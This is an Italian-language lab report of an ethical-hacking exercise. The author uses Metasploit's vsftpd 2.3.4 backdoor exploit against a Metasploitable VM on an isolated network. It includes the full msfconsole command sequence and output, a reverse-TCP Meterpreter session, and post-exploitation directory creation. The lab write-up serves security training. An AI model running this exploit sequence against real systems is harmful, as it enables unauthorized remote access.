

Report di Laboratorio: Sfruttamento della Vulnerabilità vsftpd

Data: 23 Agosto 2026

Esecutore: Diego Warn

Ambiente: Laboratorio isolato VirtualBox (Rete interna: Lab_Isolato)

1. Obiettivi dell'Esercizio

L'obiettivo principale era simulare un attacco di hacking etico su Metasploit per sfruttare una vulnerabilità nota nel servizio FTP `vsftpd` su una macchina virtuale Metasploitable.

I passi specifici richiesti erano:

1. Configurare l'indirizzo IP della macchina vittima (Metasploitable) a `192.168.1.149/24`.
 2. Eseguire un attacco tramite Metasploit per ottenere la shell remota.
 3. Ottenere l'accesso alla macchina vittima e creare una cartella chiamata `test_metasploit` nella directory di root (`/`).
-

2. Configurazione dell'Ambiente

Per garantire la sicurezza e l'isolamento dell'esercizio, è stata utilizzata una rete virtuale isolata.

Componente	Sistema Operativo	Indirizzo IP
Kali Linux	Attaccante	192.168.1.10/24
Metasploitable	Vittima	192.168.1.149/24
Rete	VirtualBox	Lab_Isolato

```

msfadmin@metasploitable:~$ sudo su ifconfig eth0 192.168.1.149 netmask 255.255.2
55.0 up
[sudo] password for msfadmin:
Unknown id: ifconfig
msfadmin@metasploitable:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:18:c4:30 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fe18:c430/64 scope link
        valid_lft forever preferred_lft forever

```

Verifica della Connettività: Prima dell'attacco, è stato confermato che le due macchine potessero comunicare tra loro tramite il comando

```

(kali@kali)-[~]
$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5a:87:bc brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.10/24 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::5d1:8740:8afc:60e1/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

(kali@kali)-[~]
$ ping 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=2.55 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=1.05 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=0.782 ms
64 bytes from 192.168.1.149: icmp_seq=4 ttl=64 time=2.16 ms
64 bytes from 192.168.1.149: icmp_seq=5 ttl=64 time=0.938 ms
64 bytes from 192.168.1.149: icmp_seq=6 ttl=64 time=1.17 ms
^C
— 192.168.1.149 ping statistics —
6 packets transmitted, 6 received, 0% packet loss, time 5020ms
rtt min/avg/max/mdev = 0.782/1.440/2.549/0.665 ms

```

Il risultato ha mostrato una latenza bassa (RTT ~0.7-2.5 ms) e 0% di perdita di pacchetti, confermando la corretta configurazione di rete.

3. Svolgimento dell'Attacco (Metasploit)

3.1 Utilizzo di Metasploit Framework

L'attacco è stato condotto interamente dalla macchina Kali Linux utilizzando il terminale e il framework Metasploit (msfconsole).

3.2 Selezione dell'Exploit

È stato cercato e selezionato l'exploit specifico per la backdoor presente in vsftpd:

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.149
RHOST => 192.168.1.149
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 192.168.1.10:4444
[*] 192.168.1.149:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.1.149:21 - FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)
[+] 192.168.1.149:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[+] 192.168.1.149:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.149:45992) at 2026-08-23 17:43:39 +0200
```

3.4 Esecuzione dell'Exploit

Una volta configurati i parametri, è stato lanciato l'exploit. I log mostrano il successo dell'operazione:

Risultato: L'exploit ha avuto successo. È stata aperta una sessione Meterpreter che fornisce un accesso completo alla macchina vittima.

4. Post-Exploitation: Creazione della Cartella

Una volta ottenuta la shell Meterpreter, è stato necessario navigare fino alla directory di root (/) e creare la cartella richiesta.

Nota: La shell Meterpreter ha un set di comandi leggermente diverso dalla shell Linux standard.

1. Navigazione alla root:

```
meterpreter > mkdir /test_metasploit
Creating directory: /test_metasploit
meterpreter > cd
Usage: cd directory
meterpreter > cd
cd bin/          cd home/          cd mnt/          cd srv/          cd var/
cd boot/         cd initrd/        cd opt/          cd sys/
cd cdrom/        cd lib/           cd proc/         cd test_metasploit/
cd dev/          cd lost+found/    cd root/         cd tmp/
cd etc/          cd media/         cd sbin/         cd usr/
```

5. Conclusioni

L'esercizio è stato completato con successo.